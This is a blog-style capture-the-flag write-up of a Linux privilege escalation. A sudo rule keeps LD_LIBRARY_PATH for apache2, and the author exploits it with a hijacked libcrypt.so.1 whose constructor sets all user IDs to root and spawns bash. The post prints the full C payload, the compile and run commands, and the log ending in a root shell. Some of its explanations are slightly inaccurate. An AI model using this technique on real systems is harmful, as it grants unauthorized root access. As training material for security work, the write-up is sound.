Revisiting an old Apache exploit

Photo by Gabriel Heinzer / Unsplash

My last blog posts were 10 years ago when I was quite active, unfortunately only two previous posts survived various blog service/installation migrations since 2012. In 2022 I have a new years resolution (the norm is 3840 x 2160 in this day and age 😛) to post more of my passion into this site, you may find a lot of things from programming, networking to hacking and everything in between.


Capture-the-Flag

Note: This has been a part of a controlled environment with permission during a competition. Please refer to disclaimer on the about page for more information.

I like to be challenged, I like video games and I absolutely love programming, CTFs wrap all three things into one package, that's why I like CTFs very much. In one of the recent CTFs I was challenged to do a vertical privilege escalation on a Debian machine, this post walks through the privilege escalation on this particular CTF.

The Setup

The challenge already provided me with a user and a password to ssh into the server, during enumeration I have discovered that it was running Apache 2.2.16 among other services running in the system, I tried various techniques including attacking the kernel using Dirty COW to no avail. While this was running an older version of Apache it had to be (CTF-style) intentional, so I went to enumerate what's available on Apache.

sh-4.1$ apache2 -v
Server version: Apache/2.2.16 (Debian)
Apache version running on the server.

First things first, I had to check the list of allowed commands:

sh-4.1$ sudo -l
Matching Defaults entries for user on this host:
    env_reset, env_keep+=LD_PRELOAD, env_keep+=LD_LIBRARY_PATH

User user may run the following commands on this host:
    (root) NOPASSWD: /usr/sbin/apache2
List allowed (or forbidden) commands using sudo -l.

And BINGO, there are two items of interest here: environment variables,(especially LD_LIBRARY_PATH) as well as the /usr/sbin/apache2 NOPASSWD setting for root user; LD_LIBRARY_PATH provides a list of directories where Apache looks for shared libraries first this means that whenever Apache loads any shared library it looks on this path first before moving elsewhere, I went in to check what are the contents of this path:

sh-4.1$ ldd /usr/sbin/apache2
        linux-vdso.so.1 =>  (0x00007fff751ff000)
        libpcre.so.3 => /lib/x86_64-linux-gnu/libpcre.so.3 (0x00007f50117d0000)
        libaprutil-1.so.0 => /usr/lib/libaprutil-1.so.0 (0x00007f50115ac000)
        libapr-1.so.0 => /usr/lib/libapr-1.so.0 (0x00007f5011372000)
        libpthread.so.0 => /lib/libpthread.so.0 (0x00007f5011156000)
        libc.so.6 => /lib/libc.so.6 (0x00007f5010dea000)
        libuuid.so.1 => /lib/libuuid.so.1 (0x00007f5010be5000)
        librt.so.1 => /lib/librt.so.1 (0x00007f50109dd000)
        libcrypt.so.1 => /lib/libcrypt.so.1 (0x00007f50107a6000)
        libdl.so.2 => /lib/libdl.so.2 (0x00007f50105a1000)
        libexpat.so.1 => /usr/lib/libexpat.so.1 (0x00007f5010379000)
        /lib64/ld-linux-x86-64.so.2 (0x00007f5011c8d000)
Contents of linked libraries against apache2 binary.

Linux Permissions

Now let's revisit the Linux permission structure so we can understand how to exploit this particular vulnerability, in Unix every process has a set of associated numeric user identifiers and group identifiers referred to as UIDs and GIDs, the identifiers are as the ones below:

  • real user and group ID
  • effective user and group ID
  • saved set-user and group ID
  • file-system user and group ID (this is specific to Linux)
  • supplementary group IDs

For our use case we are interested in the first three user IDs: real user ID, effective user ID and saved set-user ID. Real user ID identifies the user to which the process belongs to, effective user ID along with supplementary group IDs is used to determine the granted permissions to a process when it tries to perform operations and last but not least saved set-user ID allows a process to elevate privileges it would not normally have hence the name "set-user ID".

Now having this information we would try and write a payload that will try to do the following:

  1. Remove the LD_LIBRARY_PATH environment variable so we can set our own path where our modified library is stored.
  2. Try to set real, effective and saved user IDs to root (with numeric value of 0 which is reserved for root).
  3. Execute the shell and see whether the changes had effect and we get elevated privileges.

In order to achieve the above-mentioned steps, we are going to write a small program that does those, good thing about our system is that it has GCC already installed so we can just spawn vim and write our code then and there.

First try

We are going to write the following payload in C:

#include <stdio.h>
#include <stdlib.h>

void elevate_privileges() {
        unsetenv("LD_LIBRARY_PATH");  /* Remove environment variable */
        setresuid(0,0,0);             /* Set the three UIDs to root */
        system("/bin/bash");          /* Execute shell */
}
Initial payload written in C

Note: We did not use a main() function here because it is not expected for a shared library that has been compiled with -shared to be an executable and it won't work, therefore we have aptly named the function elevate_privileges. In order for this to work we need to initialize a second entry point for apache2 process to recognize.

Now we need to compile this as a shared library and we will be targeting libcrypto as our target: gcc -o /tmp/libcrypt.so.1 -shared elevate_privileges.c, we are saving the library on /tmp because we do not want to keep it, this resulted in an error:

/usr/bin/ld: /tmp/ccFo0bl1.o: relocation R_X86_64_32 against `.rodata' 
can not be used when making a shared object; recompile with -fPIC
/tmp/ccFo0bl1.o: could not read symbols: Bad value
collect2: ld returned 1 exit status
First error encountered requiring Position Independent Code

This requires Position Independent Code (hence the instruction to recompile with -fPIC) to be generated, this means not to be dependent on a specific address in memory in order to work, this is required for shared libraries in cases when another project needs to link the said library, hence it requires the Position Independent Code flag to be present, lets add that: gcc -o /tmp/libcrypt.so.1 -shared -fPIC elevate_privileges.c and this has been compiled correctly, now let's try to load it with the following command: sudo LD_LIBRARY_PATH=/tmp apache2 and this resulted in the following error and no root shell:

sh-4.1$ sudo LD_LIBRARY_PATH=/tmp apache2
apache2: bad user name ${APACHE_RUN_USER}
sh-4.1$
Payload was loaded successfully, but no exploit.

The reason for not getting a root shell is because apache2 only sees one entry point which is void main(); and it is the default main function coming by default from GCC itself, for this reason we need to let apache2 know that we have an additional entry point which is our elevate_privileges() function, in order to do so we have to use GCC's Function Attributes feature by adding __attribute__ ((constructor)) on top of the elevate_privileges function.

The entire payload code is the following:

#include <stdio.h>
#include <stdlib.h>

__attribute__ ((constructor))
void elevate_privileges() {
        unsetenv("LD_LIBRARY_PATH");  /* Remove environment variable */
        setresuid(0,0,0);             /* Set the three UIDs to root */
        system("/bin/bash");          /* Execute shell */
}
Added an entry point to the payload using GCC's function attributes

The execution log is the following:

sh-4.1$ whoami
user
sh-4.1$ gcc -o /tmp/libcrypt.so.1 -shared -fPIC elevate_privileges.c
sh-4.1$ sudo LD_LIBRARY_PATH=/tmp apache2
sh-4.1#
sh-4.1# whoami
root
sh-4.1# id
uid=0(root) gid=0(root) groups=0(root)
sh-4.1#
Fully working payload. Root access.

Now we can proceed in getting the flag and completing the challenge.